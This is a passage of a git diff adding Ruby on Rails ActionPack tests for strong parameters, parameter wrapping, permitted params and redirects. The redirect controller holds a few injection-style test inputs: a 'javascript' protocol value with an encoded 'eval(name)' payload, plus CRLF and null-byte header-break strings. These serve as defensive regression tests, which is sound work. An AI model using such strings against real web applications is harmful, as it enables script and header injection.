+    params.fetch :foo, {}
+    assert_nil params[:foo]
+  end
+
+  test "hashes in array values get wrapped" do
+    params = ActionController::Parameters.new(foo: [{}, {}])
+    params[:foo].each do |hash|
+      assert !hash.permitted?
+    end
+  end
+
+  # Strong params has an optimization to avoid looping every time you read
+  # a key whose value is an array and building a new object. We check that
+  # optimization here.
+  test "arrays are converted at most once" do
+    params = ActionController::Parameters.new(foo: [{}])
+    assert_same params[:foo], params[:foo]
+  end
+
+  # Strong params has an internal cache to avoid duplicated loops in the most
+  # common usage pattern. See the docs of the method `converted_arrays`.
+  #
+  # This test checks that if we push a hash to an array (in-place modification)
+  # the cache does not get fooled, the hash is still wrapped as strong params,
+  # and not permitted.
+  test "mutated arrays are detected" do
+    params = ActionController::Parameters.new(users: [{ id: 1 }])
+
+    permitted = params.permit(users: [:id])
+    permitted[:users] << { injected: 1 }
+    assert_not permitted[:users].last.permitted?
+  end
+
+  test "fetch doesnt raise ParameterMissing exception if there is a default" do
+    assert_equal "monkey", @params.fetch(:foo, "monkey")
+    assert_equal "monkey", @params.fetch(:foo) { "monkey" }
+  end
+
+  test "fetch doesnt raise ParameterMissing exception if there is a default that is nil" do
+    assert_nil @params.fetch(:foo, nil)
+    assert_nil @params.fetch(:foo) { nil }
+  end
+
+  test "KeyError in fetch block should not be covered up" do
+    params = ActionController::Parameters.new
+    e = assert_raises(KeyError) do
+      params.fetch(:missing_key) { {}.fetch(:also_missing) }
+    end
+    assert_match(/:also_missing$/, e.message)
+  end
+
+  test "not permitted is sticky beyond merges" do
+    assert !@params.merge(a: "b").permitted?
+  end
+
+  test "permitted is sticky beyond merges" do
+    @params.permit!
+    assert @params.merge(a: "b").permitted?
+  end
+
+  test "merge with parameters" do
+    other_params = ActionController::Parameters.new(id: "1234").permit!
+    merged_params = @params.merge(other_params)
+
+    assert merged_params[:id]
+  end
+
+  test "not permitted is sticky beyond merge!" do
+    assert_not @params.merge!(a: "b").permitted?
+  end
+
+  test "permitted is sticky beyond merge!" do
+    @params.permit!
+    assert @params.merge!(a: "b").permitted?
+  end
+
+  test "merge! with parameters" do
+    other_params = ActionController::Parameters.new(id: "1234").permit!
+    @params.merge!(other_params)
+
+    assert_equal "1234", @params[:id]
+    assert_equal "32", @params[:person][:age]
+  end
+
+  test "#reverse_merge with parameters" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    merged_params = @params.reverse_merge(default_params)
+
+    assert_equal "1234", merged_params[:id]
+    refute_predicate merged_params[:person], :empty?
+  end
+
+  test "#with_defaults is an alias of reverse_merge" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    merged_params = @params.with_defaults(default_params)
+
+    assert_equal "1234", merged_params[:id]
+    refute_predicate merged_params[:person], :empty?
+  end
+
+  test "not permitted is sticky beyond reverse_merge" do
+    refute_predicate @params.reverse_merge(a: "b"), :permitted?
+  end
+
+  test "permitted is sticky beyond reverse_merge" do
+    @params.permit!
+    assert_predicate @params.reverse_merge(a: "b"), :permitted?
+  end
+
+  test "#reverse_merge! with parameters" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    @params.reverse_merge!(default_params)
+
+    assert_equal "1234", @params[:id]
+    refute_predicate @params[:person], :empty?
+  end
+
+  test "#with_defaults! is an alias of reverse_merge!" do
+    default_params = ActionController::Parameters.new(id: "1234", person: {}).permit!
+    @params.with_defaults!(default_params)
+
+    assert_equal "1234", @params[:id]
+    refute_predicate @params[:person], :empty?
+  end
+
+  test "modifying the parameters" do
+    @params[:person][:hometown] = "Chicago"
+    @params[:person][:family] = { brother: "Jonas" }
+
+    assert_equal "Chicago", @params[:person][:hometown]
+    assert_equal "Jonas", @params[:person][:family][:brother]
+  end
+
+  test "permit is recursive" do
+    @params.permit!
+    assert @params.permitted?
+    assert @params[:person].permitted?
+    assert @params[:person][:name].permitted?
+    assert @params[:person][:addresses][0].permitted?
+  end
+
+  test "permitted takes a default value when Parameters.permit_all_parameters is set" do
+    begin
+      ActionController::Parameters.permit_all_parameters = true
+      params = ActionController::Parameters.new(person: {
+        age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+      })
+
+      assert params.slice(:person).permitted?
+      assert params[:person][:name].permitted?
+    ensure
+      ActionController::Parameters.permit_all_parameters = false
+    end
+  end
+
+  test "permitting parameters as an array" do
+    assert_equal "32", @params[:person].permit([ :age ])[:age]
+  end
+
+  test "to_h raises UnfilteredParameters on unfiltered params" do
+    assert_raises(ActionController::UnfilteredParameters) do
+      @params.to_h
+    end
+  end
+
+  test "to_h returns converted hash on permitted params" do
+    @params.permit!
+
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @params.to_h
+    assert_not_kind_of ActionController::Parameters, @params.to_h
+  end
+
+  test "to_h returns converted hash when .permit_all_parameters is set" do
+    begin
+      ActionController::Parameters.permit_all_parameters = true
+      params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+      assert_instance_of ActiveSupport::HashWithIndifferentAccess, params.to_h
+      assert_not_kind_of ActionController::Parameters, params.to_h
+      assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h)
+    ensure
+      ActionController::Parameters.permit_all_parameters = false
+    end
+  end
+
+  test "to_hash raises UnfilteredParameters on unfiltered params" do
+    assert_raises(ActionController::UnfilteredParameters) do
+      @params.to_hash
+    end
+  end
+
+  test "to_hash returns converted hash on permitted params" do
+    @params.permit!
+
+    assert_instance_of Hash, @params.to_hash
+    assert_not_kind_of ActionController::Parameters, @params.to_hash
+  end
+
+  test "parameters can be implicit converted to Hash" do
+    params = ActionController::Parameters.new
+    params.permit!
+
+    assert_equal({ a: 1 }, { a: 1 }.merge!(params))
+  end
+
+  test "to_hash returns converted hash when .permit_all_parameters is set" do
+    begin
+      ActionController::Parameters.permit_all_parameters = true
+      params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+      assert_instance_of Hash, params.to_hash
+      assert_not_kind_of ActionController::Parameters, params.to_hash
+      assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_hash)
+      assert_equal({ "crab" => "Senjougahara Hitagi" }, params)
+    ensure
+      ActionController::Parameters.permit_all_parameters = false
+    end
+  end
+
+  test "to_unsafe_h returns unfiltered params" do
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @params.to_unsafe_h
+    assert_not_kind_of ActionController::Parameters, @params.to_unsafe_h
+  end
+
+  test "to_unsafe_h returns unfiltered params even after accessing few keys" do
+    params = ActionController::Parameters.new("f" => { "language_facet" => ["Tibetan"] })
+    expected = { "f" => { "language_facet" => ["Tibetan"] } }
+
+    assert_instance_of ActionController::Parameters, params["f"]
+    assert_equal expected, params.to_unsafe_h
+  end
+
+  test "to_unsafe_h does not mutate the parameters" do
+    params = ActionController::Parameters.new("f" => { "language_facet" => ["Tibetan"] })
+    params[:f]
+
+    params.to_unsafe_h
+
+    assert_not_predicate params, :permitted?
+    assert_not_predicate params[:f], :permitted?
+  end
+
+  test "to_h only deep dups Ruby collections" do
+    company = Class.new do
+      attr_reader :dupped
+      def dup; @dupped = true; end
+    end.new
+
+    params = ActionController::Parameters.new(prem: { likes: %i( dancing ) })
+    assert_equal({ "prem" => { "likes" => %i( dancing ) } }, params.permit!.to_h)
+
+    params = ActionController::Parameters.new(companies: [ company, :acme ])
+    assert_equal({ "companies" => [ company, :acme ] }, params.permit!.to_h)
+    assert_not company.dupped
+  end
+
+  test "to_unsafe_h only deep dups Ruby collections" do
+    company = Class.new do
+      attr_reader :dupped
+      def dup; @dupped = true; end
+    end.new
+
+    params = ActionController::Parameters.new(prem: { likes: %i( dancing ) })
+    assert_equal({ "prem" => { "likes" => %i( dancing ) } }, params.to_unsafe_h)
+
+    params = ActionController::Parameters.new(companies: [ company, :acme ])
+    assert_equal({ "companies" => [ company, :acme ] }, params.to_unsafe_h)
+    assert_not company.dupped
+  end
+
+  test "include? returns true when the key is present" do
+    assert @params.include? :person
+    assert @params.include? "person"
+    assert_not @params.include? :gorilla
+  end
+
+  test "scalar values should be filtered when array or hash is specified" do
+    params = ActionController::Parameters.new(foo: "bar")
+
+    assert params.permit(:foo).has_key?(:foo)
+    refute params.permit(foo: []).has_key?(:foo)
+    refute params.permit(foo: [:bar]).has_key?(:foo)
+    refute params.permit(foo: :bar).has_key?(:foo)
+  end
+
+  test "#permitted? is false by default" do
+    params = ActionController::Parameters.new
+
+    assert_equal false, params.permitted?
+  end
+end
diff --git a/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
new file mode 100644
index 0000000000..4afd3da593
--- /dev/null
+++ b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class RaiseOnUnpermittedParamsTest < ActiveSupport::TestCase
+  def setup
+    ActionController::Parameters.action_on_unpermitted_parameters = :raise
+  end
+
+  def teardown
+    ActionController::Parameters.action_on_unpermitted_parameters = false
+  end
+
+  test "raises on unexpected params" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65 },
+      fishing: "Turnips")
+
+    assert_raises(ActionController::UnpermittedParameters) do
+      params.permit(book: [:pages])
+    end
+  end
+
+  test "raises on unexpected nested params" do
+    params = ActionController::Parameters.new(
+      book: { pages: 65, title: "Green Cats and where to find then." })
+
+    assert_raises(ActionController::UnpermittedParameters) do
+      params.permit(book: [:pages])
+    end
+  end
+end
diff --git a/actionpack/test/controller/parameters/serialization_test.rb b/actionpack/test/controller/parameters/serialization_test.rb
new file mode 100644
index 0000000000..823f01d82a
--- /dev/null
+++ b/actionpack/test/controller/parameters/serialization_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+require "active_support/core_ext/string/strip"
+
+class ParametersSerializationTest < ActiveSupport::TestCase
+  setup do
+    @old_permitted_parameters = ActionController::Parameters.permit_all_parameters
+    ActionController::Parameters.permit_all_parameters = false
+  end
+
+  teardown do
+    ActionController::Parameters.permit_all_parameters = @old_permitted_parameters
+  end
+
+  test "yaml serialization" do
+    params = ActionController::Parameters.new(key: :value)
+    yaml_dump = YAML.dump(params)
+    assert_match("--- !ruby/object:ActionController::Parameters", yaml_dump)
+    assert_match(/parameters: !ruby\/hash:ActiveSupport::HashWithIndifferentAccess\n\s+key: :value/, yaml_dump)
+    assert_match("permitted: false", yaml_dump)
+  end
+
+  test "yaml deserialization" do
+    params = ActionController::Parameters.new(key: :value)
+    roundtripped = YAML.load(YAML.dump(params))
+
+    assert_equal params, roundtripped
+    assert_not roundtripped.permitted?
+  end
+
+  test "yaml backwardscompatible with psych 2.0.8 format" do
+    params = YAML.load <<-end_of_yaml.strip_heredoc
+      --- !ruby/hash:ActionController::Parameters
+      key: :value
+    end_of_yaml
+
+    assert_equal :value, params[:key]
+    assert_not params.permitted?
+  end
+
+  test "yaml backwardscompatible with psych 2.0.9+ format" do
+    params = YAML.load(<<-end_of_yaml.strip_heredoc)
+      --- !ruby/hash-with-ivars:ActionController::Parameters
+      elements:
+        key: :value
+      ivars:
+        :@permitted: false
+    end_of_yaml
+
+    assert_equal :value, params[:key]
+    assert_not params.permitted?
+  end
+end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
new file mode 100644
index 0000000000..df68ef25a3
--- /dev/null
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -0,0 +1,408 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module Admin; class User; end; end
+
+module ParamsWrapperTestHelp
+  def with_default_wrapper_options(&block)
+    @controller.class._set_wrapper_options(format: [:json])
+    @controller.class.inherited(@controller.class)
+    yield
+  end
+
+  def assert_parameters(expected)
+    assert_equal expected, self.class.controller_class.last_parameters
+  end
+end
+
+class ParamsWrapperTest < ActionController::TestCase
+  include ParamsWrapperTestHelp
+
+  class UsersController < ActionController::Base
+    class << self
+      attr_accessor :last_parameters
+    end
+
+    def parse
+      self.class.last_parameters = request.params.except(:controller, :action)
+      head :ok
+    end
+  end
+
+  class User
+    def self.attribute_names
+      []
+    end
+
+    def self.stored_attributes
+      { settings: [:color, :size] }
+    end
+  end
+
+  class Person
+    def self.attribute_names
+      []
+    end
+  end
+
+  tests UsersController
+
+  def teardown
+    UsersController.last_parameters = nil
+  end
+
+  def test_filtered_parameters
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_equal({ "controller" => "params_wrapper_test/users", "action" => "parse", "username" => "sikachu", "user" => { "username" => "sikachu" } }, @request.filtered_parameters)
+    end
+  end
+
+  def test_derived_name_from_controller
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu", "user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_store_accessors_wrapped
+    assert_called(User, :attribute_names, times: 2, returns: ["username"]) do
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "color" => "blue", "size" => "large" }
+        assert_parameters("username" => "sikachu", "color" => "blue", "size" => "large",
+                           "user" => { "username" => "sikachu", "color" => "blue", "size" => "large" })
+      end
+    end
+  end
+
+  def test_specify_wrapper_name
+    with_default_wrapper_options do
+      UsersController.wrap_parameters :person
+
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu", "person" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_specify_wrapper_model
+    with_default_wrapper_options do
+      UsersController.wrap_parameters Person
+
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu", "person" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_specify_include_option
+    with_default_wrapper_options do
+      UsersController.wrap_parameters include: :username
+
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_specify_exclude_option
+    with_default_wrapper_options do
+      UsersController.wrap_parameters exclude: :title
+
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_specify_both_wrapper_name_and_include_option
+    with_default_wrapper_options do
+      UsersController.wrap_parameters :person, include: :username
+
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer", "person" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_not_enabled_format
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/xml"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer")
+    end
+  end
+
+  def test_wrap_parameters_false
+    with_default_wrapper_options do
+      UsersController.wrap_parameters false
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer")
+    end
+  end
+
+  def test_specify_format
+    with_default_wrapper_options do
+      UsersController.wrap_parameters format: :xml
+
+      @request.env["CONTENT_TYPE"] = "application/xml"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu", "title" => "Developer" })
+    end
+  end
+
+  def test_not_wrap_reserved_parameters
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "authenticity_token" => "pwned", "_method" => "put", "utf8" => "&#9731;", "username" => "sikachu" }
+      assert_parameters("authenticity_token" => "pwned", "_method" => "put", "utf8" => "&#9731;", "username" => "sikachu", "user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_no_double_wrap_if_key_exists
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "user" => { "username" => "sikachu" } }
+      assert_parameters("user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_no_double_wrap_if_key_exists_and_value_is_nil
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "user" => nil }
+      assert_parameters("user" => nil)
+    end
+  end
+
+  def test_nested_params
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "person" => { "username" => "sikachu" } }
+      assert_parameters("person" => { "username" => "sikachu" }, "user" => { "person" => { "username" => "sikachu" } })
+    end
+  end
+
+  def test_derived_wrapped_keys_from_matching_model
+    assert_called(User, :attribute_names, times: 2, returns: ["username"]) do
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+        assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu" })
+      end
+    end
+  end
+
+  def test_derived_wrapped_keys_from_specified_model
+    with_default_wrapper_options do
+      assert_called(Person, :attribute_names, times: 2, returns: ["username"]) do
+        UsersController.wrap_parameters Person
+
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+        assert_parameters("username" => "sikachu", "title" => "Developer", "person" => { "username" => "sikachu" })
+      end
+    end
+  end
+
+  def test_not_wrapping_abstract_model
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+      assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu", "title" => "Developer" })
+    end
+  end
+
+  def test_preserves_query_string_params
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      get :parse, params: { "user" => { "username" => "nixon" } }
+      assert_parameters(
+        "user" => { "username" => "nixon" }
+      )
+    end
+  end
+
+  def test_preserves_query_string_params_in_filtered_params
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      get :parse, params: { "user" => { "username" => "nixon" } }
+      assert_equal({ "controller" => "params_wrapper_test/users", "action" => "parse", "user" => { "username" => "nixon" } }, @request.filtered_parameters)
+    end
+  end
+
+  def test_empty_parameter_set
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: {}
+      assert_parameters(
+        "user" => {}
+      )
+    end
+  end
+
+  def test_handles_empty_content_type
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = nil
+      _controller_class.dispatch(:parse, @request, @response)
+
+      assert_equal 200, @response.status
+      assert_equal "", @response.body
+    end
+  end
+end
+
+class NamespacedParamsWrapperTest < ActionController::TestCase
+  include ParamsWrapperTestHelp
+
+  module Admin
+    module Users
+      class UsersController < ActionController::Base;
+        class << self
+          attr_accessor :last_parameters
+        end
+
+        def parse
+          self.class.last_parameters = request.params.except(:controller, :action)
+          head :ok
+        end
+      end
+    end
+  end
+
+  class SampleOne
+    def self.attribute_names
+      ["username"]
+    end
+  end
+
+  class SampleTwo
+    def self.attribute_names
+      ["title"]
+    end
+  end
+
+  tests Admin::Users::UsersController
+
+  def teardown
+    Admin::Users::UsersController.last_parameters = nil
+  end
+
+  def test_derived_name_from_controller
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu", "user" => { "username" => "sikachu" })
+    end
+  end
+
+  def test_namespace_lookup_from_model
+    Admin.const_set(:User, Class.new(SampleOne))
+    begin
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+        assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "username" => "sikachu" })
+      end
+    ensure
+      Admin.send :remove_const, :User
+    end
+  end
+
+  def test_hierarchy_namespace_lookup_from_model
+    Object.const_set(:User, Class.new(SampleTwo))
+    begin
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "title" => "Developer" }
+        assert_parameters("username" => "sikachu", "title" => "Developer", "user" => { "title" => "Developer" })
+      end
+    ensure
+      Object.send :remove_const, :User
+    end
+  end
+end
+
+class AnonymousControllerParamsWrapperTest < ActionController::TestCase
+  include ParamsWrapperTestHelp
+
+  tests(Class.new(ActionController::Base) do
+    class << self
+      attr_accessor :last_parameters
+    end
+
+    def parse
+      self.class.last_parameters = request.params.except(:controller, :action)
+      head :ok
+    end
+  end)
+
+  def test_does_not_implicitly_wrap_params
+    with_default_wrapper_options do
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu")
+    end
+  end
+
+  def test_does_wrap_params_if_name_provided
+    with_default_wrapper_options do
+      @controller.class.wrap_parameters(name: "guest")
+      @request.env["CONTENT_TYPE"] = "application/json"
+      post :parse, params: { "username" => "sikachu" }
+      assert_parameters("username" => "sikachu", "guest" => { "username" => "sikachu" })
+    end
+  end
+end
+
+class IrregularInflectionParamsWrapperTest < ActionController::TestCase
+  include ParamsWrapperTestHelp
+
+  class ParamswrappernewsItem
+    def self.attribute_names
+      ["test_attr"]
+    end
+  end
+
+  class ParamswrappernewsController < ActionController::Base
+    class << self
+      attr_accessor :last_parameters
+    end
+
+    def parse
+      self.class.last_parameters = request.params.except(:controller, :action)
+      head :ok
+    end
+  end
+
+  tests ParamswrappernewsController
+
+  def test_uses_model_attribute_names_with_irregular_inflection
+    with_dup do
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.irregular "paramswrappernews_item", "paramswrappernews"
+      end
+
+      with_default_wrapper_options do
+        @request.env["CONTENT_TYPE"] = "application/json"
+        post :parse, params: { "username" => "sikachu", "test_attr" => "test_value" }
+        assert_parameters("username" => "sikachu", "test_attr" => "test_value", "paramswrappernews_item" => { "test_attr" => "test_value" })
+      end
+    end
+  end
+
+  private
+
+    def with_dup
+      original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+      ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
+      yield
+    ensure
+      ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)
+    end
+end
diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb
new file mode 100644
index 0000000000..caac88ffb2
--- /dev/null
+++ b/actionpack/test/controller/permitted_params_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class PeopleController < ActionController::Base
+  def create
+    render plain: params[:person].permitted? ? "permitted" : "forbidden"
+  end
+
+  def create_with_permit
+    render plain: params[:person].permit(:name).permitted? ? "permitted" : "forbidden"
+  end
+end
+
+class ActionControllerPermittedParamsTest < ActionController::TestCase
+  tests PeopleController
+
+  test "parameters are forbidden" do
+    post :create, params: { person: { name: "Mjallo!" } }
+    assert_equal "forbidden", response.body
+  end
+
+  test "parameters can be permitted and are then not forbidden" do
+    post :create_with_permit, params: { person: { name: "Mjallo!" } }
+    assert_equal "permitted", response.body
+  end
+end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
new file mode 100644
index 0000000000..7546b36bc3
--- /dev/null
+++ b/actionpack/test/controller/redirect_test.rb
@@ -0,0 +1,358 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class Workshop
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+class RedirectController < ActionController::Base
+  # empty method not used anywhere to ensure methods like
+  # `status` and `location` aren't called on `redirect_to` calls
+  def status; raise "Should not be called!"; end
+  def location; raise "Should not be called!"; end
+
+  def simple_redirect
+    redirect_to action: "hello_world"
+  end
+
+  def redirect_with_status
+    redirect_to(action: "hello_world", status: 301)
+  end
+
+  def redirect_with_status_hash
+    redirect_to({ action: "hello_world" }, status: 301)
+  end
+
+  def redirect_with_protocol
+    redirect_to action: "hello_world", protocol: "https"
+  end
+
+  def url_redirect_with_status
+    redirect_to("http://www.example.com", status: :moved_permanently)
+  end
+
+  def url_redirect_with_status_hash
+    redirect_to("http://www.example.com", status: 301)
+  end
+
+  def relative_url_redirect_with_status
+    redirect_to("/things/stuff", status: :found)
+  end
+
+  def relative_url_redirect_with_status_hash
+    redirect_to("/things/stuff", status: 301)
+  end
+
+  def redirect_back_with_status
+    redirect_back(fallback_location: "/things/stuff", status: 307)
+  end
+
+  def host_redirect
+    redirect_to action: "other_host", only_path: false, host: "other.test.host"
+  end
+
+  def module_redirect
+    redirect_to controller: "module_test/module_redirect", action: "hello_world"
+  end
+
+  def redirect_to_url
+    redirect_to "http://www.rubyonrails.org/"
+  end
+
+  def redirect_to_url_with_unescaped_query_string
+    redirect_to "http://example.com/query?status=new"
+  end
+
+  def redirect_to_url_with_complex_scheme
+    redirect_to "x-test+scheme.complex:redirect"
+  end
+
+  def redirect_to_url_with_network_path_reference
+    redirect_to "//www.rubyonrails.org/"
+  end
+
+  def redirect_to_existing_record
+    redirect_to Workshop.new(5)
+  end
+
+  def redirect_to_new_record
+    redirect_to Workshop.new(nil)
+  end
+
+  def redirect_to_nil
+    redirect_to nil
+  end
+
+  def redirect_to_params
+    redirect_to ActionController::Parameters.new(status: 200, protocol: "javascript", f: "%0Aeval(name)")
+  end
+
+  def redirect_to_with_block
+    redirect_to proc { "http://www.rubyonrails.org/" }
+  end
+
+  def redirect_to_with_block_and_assigns
+    @url = "http://www.rubyonrails.org/"
+    redirect_to proc { @url }
+  end
+
+  def redirect_to_with_block_and_options
+    redirect_to proc { { action: "hello_world" } }
+  end
+
+  def redirect_with_header_break
+    redirect_to "/lol\r\nwat"
+  end
+
+  def redirect_with_null_bytes
+    redirect_to "\000/lol\r\nwat"
+  end
+
+  def rescue_errors(e) raise e end
+
+  private
+    def dashbord_url(id, message)
+      url_for action: "dashboard", params: { "id" => id, "message" => message }
+    end
+end
+
+class RedirectTest < ActionController::TestCase
+  tests RedirectController
+
+  def test_simple_redirect
+    get :simple_redirect
+    assert_response :redirect
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_header_break
+    get :redirect_with_header_break
+    assert_response :redirect
+    assert_equal "http://test.host/lolwat", redirect_to_url
+  end
+
+  def test_redirect_with_null_bytes
+    get :redirect_with_null_bytes
+    assert_response :redirect
+    assert_equal "http://test.host/lolwat", redirect_to_url
+  end
+
+  def test_redirect_with_no_status
+    get :simple_redirect
+    assert_response 302
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_status
+    get :redirect_with_status
+    assert_response 301
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_status_hash
+    get :redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_redirect_with_protocol
+    get :redirect_with_protocol
+    assert_response 302
+    assert_equal "https://test.host/redirect/hello_world", redirect_to_url
+  end
+
+  def test_url_redirect_with_status
+    get :url_redirect_with_status
+    assert_response 301
+    assert_equal "http://www.example.com", redirect_to_url
+  end
+
+  def test_url_redirect_with_status_hash
+    get :url_redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://www.example.com", redirect_to_url
+  end
+
+  def test_relative_url_redirect_with_status
+    get :relative_url_redirect_with_status
+    assert_response 302
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_relative_url_redirect_with_status_hash
+    get :relative_url_redirect_with_status_hash
+    assert_response 301
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_simple_redirect_using_options
+    get :host_redirect
+    assert_response :redirect
+    assert_redirected_to action: "other_host", only_path: false, host: "other.test.host"
+  end
+
+  def test_module_redirect
+    get :module_redirect
+    assert_response :redirect
+    assert_redirected_to "http://test.host/module_test/module_redirect/hello_world"
+  end
+
+  def test_module_redirect_using_options
+    get :module_redirect
+    assert_response :redirect
+    assert_redirected_to controller: "module_test/module_redirect", action: "hello_world"
+  end
+
+  def test_redirect_to_url
+    get :redirect_to_url
+    assert_response :redirect
+    assert_redirected_to "http://www.rubyonrails.org/"
+  end
+
+  def test_redirect_to_url_with_unescaped_query_string
+    get :redirect_to_url_with_unescaped_query_string
+    assert_response :redirect
+    assert_redirected_to "http://example.com/query?status=new"
+  end
+
+  def test_redirect_to_url_with_complex_scheme
+    get :redirect_to_url_with_complex_scheme
+    assert_response :redirect
+    assert_equal "x-test+scheme.complex:redirect", redirect_to_url
+  end
+
+  def test_redirect_to_url_with_network_path_reference
+    get :redirect_to_url_with_network_path_reference
+    assert_response :redirect
+    assert_equal "//www.rubyonrails.org/", redirect_to_url
+  end
+
+  def test_redirect_back
+    referer = "http://www.example.com/coming/from"
+    @request.env["HTTP_REFERER"] = referer
+
+    get :redirect_back_with_status
+
+    assert_response 307
+    assert_equal referer, redirect_to_url
+  end
+
+  def test_redirect_back_with_no_referer
+    get :redirect_back_with_status
+
+    assert_response 307
+    assert_equal "http://test.host/things/stuff", redirect_to_url
+  end
+
+  def test_redirect_to_record
+    with_routing do |set|
+      set.draw do
+        resources :workshops
+
+        ActiveSupport::Deprecation.silence do
